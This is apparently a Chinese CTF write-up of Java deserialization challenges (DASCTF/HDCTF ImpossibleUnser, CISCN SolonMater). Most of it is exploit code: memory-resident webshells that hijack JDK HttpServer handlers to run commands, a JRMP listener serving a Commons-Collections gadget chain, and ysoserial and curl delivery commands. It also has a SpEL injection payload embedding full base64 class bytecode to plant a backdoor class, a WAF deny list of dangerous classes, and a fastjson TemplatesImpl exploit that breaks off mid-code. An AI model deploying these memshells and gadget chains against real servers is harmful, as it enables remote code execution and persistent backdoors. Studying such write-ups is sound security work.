1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 package com.boogipop.Solutions;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import sun.misc.Unsafe;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;public class HttpMemShell extends AbstractTranslet implements HttpHandler { @Override public void handle (HttpExchange httpExchange) throws IOException { String query = httpExchange.getRequestURI().getQuery(); String[] split = query.split("=" ); String response = "SUCCESS" +"\n" ; if (split[0 ].equals("shell" )) { String cmd = split[1 ]; InputStream inputStream = null ; try { inputStream = execCmd(cmd); } catch (Exception e) { throw new RuntimeException (e); } byte [] bytes = new byte [1024 ]; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); int flag=-1 ; while ((flag=inputStream.read(bytes))!=-1 ){ byteArrayOutputStream.write(bytes,0 ,flag); } response += byteArrayOutputStream.toString(); byteArrayOutputStream.close(); } httpExchange.sendResponseHeaders(200 ,response.length()); OutputStream outputStream = httpExchange.getResponseBody(); outputStream.write(response.getBytes()); outputStream.close(); } public HttpMemShell () { try { ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsFeld = threadGroup.getClass().getDeclaredField("threads" ); threadsFeld.setAccessible(true ); Thread[] threads = (Thread[])threadsFeld.get(threadGroup); Thread thread = threads[1 ]; Field targetField = thread.getClass().getDeclaredField("target" ); targetField.setAccessible(true ); Object object = targetField.get(thread); Field this$0Field = object.getClass().getDeclaredField("this$0" ); this $0Field.setAccessible(true ); object = this $0Field.get(object); Field contextsField = object.getClass().getDeclaredField("contexts" ); contextsField.setAccessible(true ); object = contextsField.get(object); Field listField = object.getClass().getDeclaredField("list" ); listField.setAccessible(true ); java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object); object = linkedList.get(0 ); Field handlerField = object.getClass().getDeclaredField("handler" ); handlerField.setAccessible(true ); handlerField.set(object,this ); }catch (Exception exception){ } } public static InputStream execCmd (String cmd) throws Exception{ String[] command=cmd.split(" " ); Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe" ); theUnsafeField.setAccessible(true ); Unsafe unsafe = (Unsafe) theUnsafeField.get(null ); Class processClass = null ; try { processClass = Class.forName("java.lang.UNIXProcess" ); } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl" ); } Object processObject = unsafe.allocateInstance(processClass); byte [][] args = new byte [command.length - 1 ][]; int size = args.length; for (int i = 0 ; i < args.length; i++) { args[i] = command[i + 1 ].getBytes(); size += args[i].length; } byte [] argBlock = new byte [size]; int i = 0 ; for (byte [] arg : args) { System.arraycopy(arg, 0 , argBlock, i, arg.length); i += arg.length + 1 ; } int [] envc = new int [1 ]; int [] std_fds = new int []{-1 , -1 , -1 }; Field launchMechanismField = processClass.getDeclaredField("launchMechanism" ); Field helperpathField = processClass.getDeclaredField("helperpath" ); launchMechanismField.setAccessible(true ); helperpathField.setAccessible(true ); Object launchMechanismObject = launchMechanismField.get(processObject); byte [] helperpathObject = (byte []) helperpathField.get(processObject); int ordinal = (int ) launchMechanismObject.getClass().getMethod("ordinal" ).invoke(launchMechanismObject); Method forkMethod = processClass.getDeclaredMethod("forkAndExec" , new Class []{ int .class, byte [].class, byte [].class, byte [].class, int .class, byte [].class, int .class, byte [].class, int [].class, boolean .class }); forkMethod.setAccessible(true ); int pid = (int ) forkMethod.invoke(processObject, new Object []{ ordinal + 1 , helperpathObject, toCString(command[0 ]), argBlock, args.length, null , envc[0 ], null , std_fds, false }); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams" , int [].class); initStreamsMethod.setAccessible(true ); initStreamsMethod.invoke(processObject, std_fds); Method getInputStreamMethod = processClass.getMethod("getInputStream" ); getInputStreamMethod.setAccessible(true ); InputStream in = (InputStream) getInputStreamMethod.invoke(processObject); return in; } static byte [] toCString(String s) { if (s == null ) return null ; byte [] bytes = s.getBytes(); byte [] result = new byte [bytes.length + 1 ]; System.arraycopy(bytes, 0 , result, 0 , bytes.length); result[result.length - 1 ] = (byte ) 0 ; return result; } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
JRMPListener.java
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 package com.eddiemurphy;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.DataInputStream;import java.io.DataOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.ObjectStreamClass;import java.io.OutputStream;import java.io.Serializable;import java.net.*;import java.rmi.MarshalException;import java.rmi.server.ObjID;import java.rmi.server.UID;import java.util.Arrays;import javax.net.ServerSocketFactory;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import sun.rmi.transport.TransportConstants;@SuppressWarnings ( { "restriction" } )public class JRMPListener implements Runnable { private int port; private Object payloadObject; private ServerSocket ss; private Object waitLock = new Object (); private boolean exit; private boolean hadConnection; private URL classpathUrl; public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { this .port = port; this .payloadObject = payloadObject; this .ss = ServerSocketFactory.getDefault().createServerSocket(this .port); } public JRMPListener (int port, String className, URL classpathUrl) throws IOException { this .port = port; this .payloadObject = makeDummyObject(className); this .classpathUrl = classpathUrl; this .ss = ServerSocketFactory.getDefault().createServerSocket(this .port); } public boolean waitFor ( int i ) { try { if ( this .hadConnection ) { return true ; } System.err.println("Waiting for connection" ); synchronized ( this .waitLock ) { this .waitLock.wait(i); } return this .hadConnection; } catch ( InterruptedException e ) { return false ; } } public void close () { this .exit = true ; try { this .ss.close(); } catch ( IOException e ) {} synchronized ( this .waitLock ) { this .waitLock.notify(); } } public static final void main ( final String[] args ) throws Exception { if ( args.length < 1 ) { System.err.println(JRMPListener.class.getName() + " <port>" ); System.exit(-1 ); return ; } final Object payloadObject = CC3.getObject(); try { int port = Integer.parseInt(args[ 0 ]); System.err.println("* Opening JRMP listener on " + port); JRMPListener c = new JRMPListener (port, payloadObject); c.run(); } catch ( Exception e ) { System.err.println("Listener error" ); e.printStackTrace(System.err); } } public void run () { try { Socket s = null ; try { while ( !this .exit && ( s = this .ss.accept() ) != null ) { try { s.setSoTimeout(5000 ); InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); System.err.println("Have connection from " + remote); InputStream is = s.getInputStream(); InputStream bufIn = is.markSupported() ? is : new BufferedInputStream (is); bufIn.mark(4 ); DataInputStream in = new DataInputStream (bufIn); int magic = in.readInt(); short version = in.readShort(); if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { s.close(); continue ; } OutputStream sockOut = s.getOutputStream(); BufferedOutputStream bufOut = new BufferedOutputStream (sockOut); DataOutputStream out = new DataOutputStream (bufOut); byte protocol = in.readByte(); switch ( protocol ) { case TransportConstants.StreamProtocol: out.writeByte(TransportConstants.ProtocolAck); if ( remote.getHostName() != null ) { out.writeUTF(remote.getHostName()); } else { out.writeUTF(remote.getAddress().toString()); } out.writeInt(remote.getPort()); out.flush(); in.readUTF(); in.readInt(); case TransportConstants.SingleOpProtocol: doMessage(s, in, out, this .payloadObject); break ; default : case TransportConstants.MultiplexProtocol: System.err.println("Unsupported protocol" ); s.close(); continue ; } bufOut.flush(); out.flush(); } catch ( InterruptedException e ) { return ; } catch ( Exception e ) { e.printStackTrace(System.err); } finally { System.err.println("Closing connection" ); s.close(); } } } finally { if ( s != null ) { s.close(); } if ( this .ss != null ) { this .ss.close(); } } } catch ( SocketException e ) { return ; } catch ( Exception e ) { e.printStackTrace(System.err); } } private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { System.err.println("Reading message..." ); int op = in.read(); switch ( op ) { case TransportConstants.Call: doCall(in, out, payload); break ; case TransportConstants.Ping: out.writeByte(TransportConstants.PingAck); break ; case TransportConstants.DGCAck: UID u = UID.read(in); break ; default : throw new IOException ("unknown transport op " + op); } s.close(); } private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { ObjectInputStream ois = new ObjectInputStream (in) { @Override protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { if ( "[Ljava.rmi.server.ObjID;" .equals(desc.getName())) { return ObjID[].class; } else if ("java.rmi.server.ObjID" .equals(desc.getName())) { return ObjID.class; } else if ( "java.rmi.server.UID" .equals(desc.getName())) { return UID.class; } throw new IOException ("Not allowed to read object" ); } }; ObjID read; try { read = ObjID.read(ois); } catch ( java.io.IOException e ) { throw new MarshalException ("unable to read objID" , e); } if ( read.hashCode() == 2 ) { ois.readInt(); ois.readLong(); System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); } System.err.println("Sending return with payload for obj " + read); out.writeByte(TransportConstants.Return); ObjectOutputStream oos = new MarshalOutputStream (out, this .classpathUrl); oos.writeByte(TransportConstants.ExceptionalReturn); new UID ().write(oos); oos.writeObject(payload); oos.flush(); out.flush(); this .hadConnection = true ; synchronized ( this .waitLock ) { this .waitLock.notifyAll(); } } @SuppressWarnings({"deprecation"}) protected static Object makeDummyObject (String className) { try { ClassLoader isolation = new ClassLoader () {}; ClassPool cp = new ClassPool (); cp.insertClassPath(new ClassClassPath (Dummy.class)); CtClass clazz = cp.get(Dummy.class.getName()); clazz.setName(className); return clazz.toClass(isolation).newInstance(); } catch ( Exception e ) { e.printStackTrace(); return new byte [0 ]; } } static final class MarshalOutputStream extends ObjectOutputStream { private URL sendUrl; public MarshalOutputStream (OutputStream out, URL u) throws IOException { super (out); this .sendUrl = u; } MarshalOutputStream(OutputStream out) throws IOException { super (out); } @Override protected void annotateClass (Class<?> cl) throws IOException { if (this .sendUrl != null ) { writeObject(this .sendUrl.toString()); } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { writeObject(null ); } else { URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); String cb = "" ; for (URL u : us) { cb += u.toString(); } writeObject(cb); } } @Override protected void annotateProxyClass (Class<?> cl) throws IOException { annotateClass(cl); } } public static class Dummy implements Serializable { private static final long serialVersionUID = 1L ; } }
然后我们使用CC3的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.boogipop.Solutions;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC3 { public static Object getObject () throws Exception { Templates templatesImpl = SerializeUtils.getTemplate(); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templatesImpl}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap, "aaa" ); HashMap<Object, Object> hashMap=new HashMap <>(); hashMap.put(tiedMapEntry,"bbb" ); map.remove("aaa" ); Field factory = LazyMap.class.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); return hashMap; } }
然后是一些Serialize的方法包,这里省略。
直接打一个jar包,放vps上开JRMPClient:
1 java -jar nocc_exp.jar port
payload:
1 java -jar ysoserial-all.jar JRMPClient vps:port|base64
1 curl -X POST http://localhost:9877/ -d "rO0AB....."
DASCTF X HDCTF 2024 - ImpossibleUnser 这道题是一个套皮题,其实就是一个简单的用SpEl写入jre然后反序列化的操作。这道也是当时打出来最多的。
分析 审计源码可以发现有3个路由,其中index路由会列出/usr/lib/jvm/java-8-openjdk-amd64/jre目录文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 package com.ctf;import java.net.InetSocketAddress;import com.sun.net.httpserver.HttpServer;public class IndexController { public static void main (String[] args) throws Exception { HttpServer server = HttpServer.create(new InetSocketAddress (8000 ), 0 ); server.createContext("/ctf" , new SPELHandler ()); server.createContext("/index" , new IndexHandler ()); server.createContext("/unser" , new UnserHandler ()); server.setExecutor(null ); server.start(); } }
/index访问,会发现jre下有classes目录,然后unser路由就是一个反序列化入口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public void handle (HttpExchange httpExchange) throws IOException { InputStream requestBody = httpExchange.getRequestBody(); String body = readInputStream(requestBody); if (!body.equals("" )){ Map<String, String> PostData = parseFormData(body); String payload=PostData.get("unser" ); payload= URLDecoder.decode(payload); try { base64deserial(payload); } catch (Exception e) { throw new RuntimeException (e); } String response="Welcome to My Challenge" ; httpExchange.sendResponseHeaders(200 , response.length()); OutputStream os = httpExchange.getResponseBody(); os.write(response.getBytes()); os.close(); } String response = "Give me some payload Plz Unser me" ; httpExchange.sendResponseHeaders(200 , response.length()); OutputStream os = httpExchange.getResponseBody(); os.write(response.getBytes()); os.close(); }
但是没有任何的依赖和利用链,并且还存在一个SPEL注入的入口,但是做了过滤,无法直接rce。
这里就需要配合SPEL去写一个恶意的class文件到jre/classes目录下,构造的恶意类如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;public class EvilMemshell implements Serializable , HttpHandler { private void readObject (ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException { try { ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsFeld = threadGroup.getClass().getDeclaredField("threads" ); threadsFeld.setAccessible(true ); Thread[] threads = (Thread[])threadsFeld.get(threadGroup); Thread thread = threads[1 ]; Field targetField = thread.getClass().getDeclaredField("target" ); targetField.setAccessible(true ); Object object = targetField.get(thread); Field this$0Field = object.getClass().getDeclaredField("this$0" ); this $0Field.setAccessible(true ); object = this $0Field.get(object); Field contextsField = object.getClass().getDeclaredField("contexts" ); contextsField.setAccessible(true ); object = contextsField.get(object); Field listField = object.getClass().getDeclaredField("list" ); listField.setAccessible(true ); java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object); object = linkedList.get(0 ); Field handlerField = object.getClass().getDeclaredField("handler" ); handlerField.setAccessible(true ); handlerField.set(object,this ); }catch (Exception exception){ } } public static String base64serial (Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void main (String[] args) throws Exception { System.out.println(base64serial(new EvilMemshell ())); } @Override public void handle (HttpExchange httpExchange) throws IOException { String query = httpExchange.getRequestURI().getQuery(); String[] split = query.split("=" ); String response = "SUCCESS" +"\n" ; if (split[0 ].equals("shell" )) { String cmd = split[1 ]; InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); byte [] bytes = new byte [1024 ]; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); int flag=-1 ; while ((flag=inputStream.read(bytes))!=-1 ){ byteArrayOutputStream.write(bytes,0 ,flag); } response += byteArrayOutputStream.toString(); byteArrayOutputStream.close(); } httpExchange.sendResponseHeaders(200 ,response.length()); OutputStream outputStream = httpExchange.getResponseBody(); outputStream.write(response.getBytes()); outputStream.close(); } }
SPEL注入:
1 payload=T(com.sun.org.apache.xml.internal.security.utils.JavaUtils).writeBytesToFilename("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/EvilMemshell.class" ,T(java.util.Base64).getDecoder.decode("yv66vgAAADQA6QoAOQBXCgBYAFkKAFgAWgoAOQBbCABcCgBdAF4KAF8AYAoAXwBhBwBiCABjCABkCABlCABmBwBnCgAOAGgIAGkKAF8AagcAawcAbAoAEwBXBwBtCgAVAG4KABUAbwoAFQBwCgBxAHIKABMAcwoAdAB1CQB2AHcHAHgKAB0AVwoAHQB5CgB6AHsKAHwAfQoAfgB/CACACgCBAIIIAIMIAIQKAIEAhQoAhgCHCgCGAIgKAIkAigoAiwCMCgATAI0HAI4KAC0AVwoALQCPCgATAJAKAC0AkAoAEwBwCgCBAJEKAHwAkgoAfACTCgCBAJQKAJUAlgoAlQBwBwCXBwCYBwCZAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACnJlYWRPYmplY3QBAB4oTGphdmEvaW8vT2JqZWN0SW5wdXRTdHJlYW07KVYBAA1TdGFja01hcFRhYmxlBwBrAQAKRXhjZXB0aW9ucwcAmgcAmwcAnAEADGJhc2U2NHNlcmlhbAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZoYW5kbGUBACgoTGNvbS9zdW4vbmV0L2h0dHBzZXJ2ZXIvSHR0cEV4Y2hhbmdlOylWBwB4BwCdBwCeBwCfBwCgBwChBwBsAQAKU291cmNlRmlsZQEAEUV2aWxNZW1zaGVsbC5qYXZhDAA8AD0HAKIMAKMApAwApQCmDACnAKgBAAd0aHJlYWRzBwCpDACqAKsHAKwMAK0ArgwArwCwAQATW0xqYXZhL2xhbmcvVGhyZWFkOwEABnRhcmdldAEABnRoaXMkMAEACGNvbnRleHRzAQAEbGlzdAEAFGphdmEvdXRpbC9MaW5rZWRMaXN0DACvALEBAAdoYW5kbGVyDACyALMBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BABpqYXZhL2lvL09iamVjdE91dHB1dFN0cmVhbQwAPAC0DAC1ALYMALcAPQcAuAwAuQC8DAC9AL4HAL8MAMAAwQcAwgwAwwDEAQAMRXZpbE1lbXNoZWxsDABIAEkHAMUMAMYAxwcAnQwAyADJBwDKDADLAMwBAAE9BwCeDADNAM4BAAhTVUNDRVNTCgEABXNoZWxsDADPANAHANEMANIA0wwA1ADVBwDWDADXANgHAKAMANkA2gwA2wDcAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAN0A3gwA3wDMDADgAOEMAOIA4wwA5ADlDADmAL4HAOcMANsA6AEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAImNvbS9zdW4vbmV0L2h0dHBzZXJ2ZXIvSHR0cEhhbmRsZXIBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BACNjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEAAltCAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABUoSSlMamF2YS9sYW5nL09iamVjdDsBAANzZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBABkoTGphdmEvaW8vT3V0cHV0U3RyZWFtOylWAQALd3JpdGVPYmplY3QBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAVjbG9zZQEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBAAt0b0J5dGVBcnJheQEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA1nZXRSZXF1ZXN0VVJJAQAQKClMamF2YS9uZXQvVVJJOwEADGphdmEvbmV0L1VSSQEACGdldFF1ZXJ5AQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEABmxlbmd0aAEAAygpSQEAE3NlbmRSZXNwb25zZUhlYWRlcnMBAAUoSUopVgEAD2dldFJlc3BvbnNlQm9keQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGdldEJ5dGVzAQAUamF2YS9pby9PdXRwdXRTdHJlYW0BAAUoW0IpVgAhAB0AOQACADoAOwAAAAUAAQA8AD0AAQA+AAAAHQABAAEAAAAFKrcAAbEAAAABAD8AAAAGAAEAAAAIAAIAQABBAAIAPgAAAUoAAwANAAAAv7gAArYAA00stgAEEgW2AAZOLQS2AActLLYACMAACcAACToEGQQEMjoFGQW2AAQSCrYABjoGGQYEtgAHGQYZBbYACDoHGQe2AAQSC7YABjoIGQgEtgAHGQgZB7YACDoHGQe2AAQSDLYABjoJGQkEtgAHGQkZB7YACDoHGQe2AAQSDbYABjoKGQoEtgAHGQoZB7YACMAADjoLGQsDtgAPOgcZB7YABBIQtgAGOgwZDAS2AAcZDBkHKrYAEacABE2xAAEAAAC6AL0AEgACAD8AAABiABgAAAALAAcADAARAA0AFgAOACMADwApABEANQASADsAEwBEABUAUAAWAFYAFwBfABkAawAaAHEAGwB6AB0AhgAeAIwAHwCYACAAoAAiAKwAIwCyACQAugAmAL0AJQC+ACcAQgAAAAkAAvcAvQcAQwAARAAAAAgAAwBFAEYARwAJAEgASQACAD4AAABTAAMABAAAACe7ABNZtwAUTLsAFVkrtwAWTSwqtgAXLLYAGLgAGSu2ABq2ABtOLbAAAAABAD8AAAAaAAYAAAApAAgAKgARACsAFgAsABoALgAlAC8ARAAAAAQAAQASAAkASgBLAAIAPgAAAC0AAwABAAAAEbIAHLsAHVm3AB64AB+2ACCxAAAAAQA/AAAACgACAAAANAAQADUARAAAAAQAAQASAAEATABNAAIAPgAAAT0ABAAKAAAAnyu2ACG2ACJNLBIjtgAkThIlOgQtAzISJrYAJ5kAYS0EMjoFuAAoGQW2ACm2ACo6BhEEALwIOge7ABNZtwAUOggCNgkZBhkHtgArWTYJAp8AEBkIGQcDFQm2ACyn/+i7AC1ZtwAuGQS2AC8ZCLYAMLYAL7YAMToEGQi2ADIrEQDIGQS2ADOFtgA0K7YANToFGQUZBLYANrYANxkFtgA4sQAAAAIAPwAAAEoAEgAAADkACAA6AA8AOwATADwAHgA9ACMAPgAwAD8ANwBAAEAAQQBDAEIAUQBDAF4ARQB3AEYAfABIAIkASQCPAEoAmQBLAJ4ATABCAAAAPAAD/wBDAAoHAE4HAE8HAFAHAFEHAFAHAFAHAFIHAFMHAFQBAAAa/wAdAAUHAE4HAE8HAFAHAFEHAFAAAABEAAAABAABAEYAAgBVAAAAAgBWALsAAAAKAAEAdABxALoACQ==" ))
然后直接打反序列化:
1 unser=rO0ABXNyAAxFdmlsTWVtc2hlbGwx3CJ1tyzvvgIAAHhw
提一嘴,虽然他的waf给ban了很多:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class MySecurityWaf { private List<String> denychar = new ArrayList (Arrays.asList("java.lang" , "Runtime" , "org.springframework" , "javax.naming" , "Process" , "ScriptEngineManager" , "+" , "replace" , "JavaWrapper" , "System" )); public MySecurityWaf () { } public boolean securitycheck (String payload) throws UnsupportedEncodingException { if (payload.isEmpty()) { return false ; } else { String reals = URLDecoder.decode(payload, "UTF-8" ).toUpperCase(Locale.ROOT); for (int i = 0 ; i < this .denychar.size(); ++i) { if (reals.toUpperCase(Locale.ROOT).contains(((String)this .denychar.get(i)).toUpperCase(Locale.ROOT))) { return false ; } } return true ; } } }
其实还可以考虑拼接绕,但这道题不出网。
CISCN2024-AWDP-SolonMater 重走当年路,如果我多看看也许就出了吧。
那么第二天冠军应该就不会那么提心吊胆地拿了吧。
但是如果没有前面的失利,又怎能让我破釜沉舟……
跑题了,回来看题。
分析 修还是好修,上个snake
和log
的黑名单就完了。
我还是以防万一把很多fj链的东西也ban了。
DemoController.class
:
漏洞点位很明显,传个json的base64序列化字符串就拿去梭了。
其实这道attack还是打fj原生反序列化,只是BadAttribute这个玩意被ban了,前面User类进就为所欲为了。
本来fastjson1.2.80我看到打JNDI的很多,但这里直接给了反序列化的位置,就按他这个来吧。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public class Exp { public static byte [] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49 ); return clazz.toBytecode(); } public static void main (String[] args) throws Exception{ User a = new User (); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , new byte [][]{genPayload("calc" )}); setValue(templates, "_name" , "xxx" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); EventListenerList eventListenerList = new EventListenerList (); UndoManager undoManager = new UndoManager (); Vector vector = 